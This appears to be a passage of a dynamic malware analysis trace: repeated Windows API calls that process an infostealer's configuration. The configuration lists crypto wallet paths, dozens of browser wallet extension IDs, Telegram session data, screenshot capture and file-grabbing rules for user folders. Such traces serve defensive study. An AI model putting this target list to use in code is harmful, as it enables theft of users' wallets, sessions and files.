Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.811] lstrlenW (lpString="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3571 [0259.811] lstrlenW (lpString="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3571 [0259.812] LocalAlloc (uFlags=0x40, uBytes=0x1be6) returned 0x6b9720 [0259.812] lstrlenW (lpString="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3571 [0259.812] LocalAlloc (uFlags=0x40, uBytes=0x1be6) returned 0x6bb310 [0259.812] lstrlenW (lpString="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3571 [0259.812] LocalAlloc (uFlags=0x40, uBytes=0x1be6) returned 0x6bcf00 [0259.812] StrStrW (lpFirst="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.812] lstrlenW (lpString="|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local 